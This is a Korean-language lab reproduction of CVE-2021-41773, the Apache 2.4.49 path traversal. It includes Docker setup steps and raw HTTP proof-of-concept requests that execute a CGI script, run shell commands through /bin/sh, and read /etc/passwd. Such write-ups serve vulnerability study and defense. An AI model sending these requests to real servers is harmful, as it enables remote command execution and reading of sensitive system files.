CVE-2021-41773

CVE-2021-41773 재현

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

v2.4.49 Apache 전용 취약점입니다. 초기 버전에는 ap_normalize_path 함수가 없었으며, 이 함수는 v2.4.49 버전에서 도입되었습니다. 이 함수가 디렉터리 트래버설을 유발했으며, v2.4.50에서 수정되었습니다.

환경

https://github.com/1nhann/CVE-2021-41773

이 환경에서는 CGI 모듈이 로드되었습니다:

LoadModule cgi_module modules/mod_cgi.so

root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

컨테이너 내부: image-20211006213843476

poc

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006210008166

루트 디렉터리의 /bash.cgi가 실행되었습니다.

셸 획득

Apache CGI 문서 확인:

STDIN and STDOUT

Other communication between the server and the client happens over standard input (STDIN) and standard output (STDOUT). In normal everyday context, STDIN means the keyboard, or a file that a program is given to act on, and STDOUT usually means the console or screen.

When you POST a web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program over STDIN. The program then can process that data as though it was coming in from the keyboard, or from a file

The "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:

root@kitploit:~

name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

즉, POST로 전달된 매개변수는 stdin의 내용으로서 접근한 CGI 프로그램에 전달됩니다.

만약 /bin/sh에 접근한다면, 직접 셸을 획득할 수 있습니다.

poc:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

명령 실행 결과를 직접 반환할 수도 있습니다:

poc:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

임의 파일 읽기

만약 CGI 모듈을 로드하지 않으면, 접근한 파일이 실행되지 않습니다:

#LoadModule cgi_module modules/mod_cgi.so

poc:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006232521116